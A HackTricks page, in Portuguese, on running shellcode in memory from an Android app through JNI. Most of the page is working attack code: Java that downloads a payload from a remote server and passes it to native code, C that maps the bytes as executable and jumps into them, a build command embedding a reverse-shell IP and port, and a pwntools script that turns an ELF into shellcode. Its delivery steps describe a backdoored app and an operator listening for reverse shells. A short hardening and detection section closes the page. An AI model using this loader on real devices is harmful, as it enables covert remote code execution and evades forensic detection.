Execução de Código Nativo em Memória no Android via JNI (shellcode)
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Esta página documenta um padrão prático para executar native payloads totalmente em memória a partir de um processo de app Android não confiável usando JNI. O fluxo evita criar qualquer binário nativo no disco: baixar bytes brutos do shellcode via HTTP(S), passá-los para uma JNI bridge, alocar memória RX e pular para ela.
Por que isso importa
- Reduz artefatos forenses (sem ELF no disco)
 - Compatível com native payloads “stage-2” gerados a partir de um exploit binário ELF
 - Corresponde ao tradecraft usado por malware moderno e red teams
 
Padrão de alto nível
- Buscar os bytes do shellcode em Java/Kotlin
 - Chamar um método nativo (JNI) com o array de bytes
 - Em JNI: alocar memória RW → copiar bytes → mprotect para RX → chamar entrypoint
 
Exemplo mínimo
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
Lado C/JNI (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Notes and caveats
- W^X/execmem: O Android moderno impõe W^X; mapeamentos anônimos PROT_EXEC ainda são geralmente permitidos para processos de app com JIT (sujeito à política SELinux). Alguns dispositivos/ROMs restringem isso; recorra a JIT-allocated exec pools ou native bridges quando necessário.
 - Architectures: Garanta que a arquitetura do shellcode corresponda ao dispositivo (arm64-v8a comumente; x86 somente em emuladores).
 - Entrypoint contract: Decida uma convenção para a entrada do seu shellcode (no args vs ponteiro para estrutura). Mantenha-o independente de posição (PIC).
 - Stability: Limpe o cache de instruções antes de saltar; cache desalinhado pode travar em ARM.
 
Packaging ELF → position‑independent shellcode Uma pipeline robusta é:
- Compile seu exploit como um ELF estático com musl-gcc
 - Converta o ELF em um self‑loading shellcode blob usando pwntools’ shellcraft.loader_append
 
Build
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Transformar ELF para raw shellcode (exemplo amd64)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Por que loader_append funciona: ele emite um tiny loader que mapeia os segmentos de programa ELF embutidos na memória e transfere o controle para seu entrypoint, fornecendo um único raw blob que pode ser memcpy’ed e executado pelo app.
Delivery
- Hospede sc em um servidor HTTP(S) que você controla
 - O backdoored/test app baixa sc e invoca a JNI bridge mostrada acima
 - Escute na sua máquina de operador por qualquer conexão reversa que o payload kernel/user-mode estabelecer
 
Validation workflow for kernel payloads
- Use um vmlinux simbolizado para reversing rápido/recuperação de offsets
 - Prototipe primitivas em uma imagem de debug conveniente se disponível, mas sempre re‑valide no alvo Android real (kallsyms, KASLR slide, page-table layout, and mitigations differ)
 
Hardening/Detection (blue team)
- Proibir PROT_EXEC anônimo em domínios de app quando possível (SELinux policy)
 - Aplicar integridade de código rígida (no dynamic native loading from network) e validar canais de atualização
 - Monitorar transições suspeitas mmap/mprotect para RX e grandes cópias de byte-array precedendo jumps
 
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
 - build.sh (musl-gcc + pwntools pipeline)
 - exp2sc.py (pwntools shellcraft.loader_append)
 - exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
 - INSTRUCTIONS.md (setup notes)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks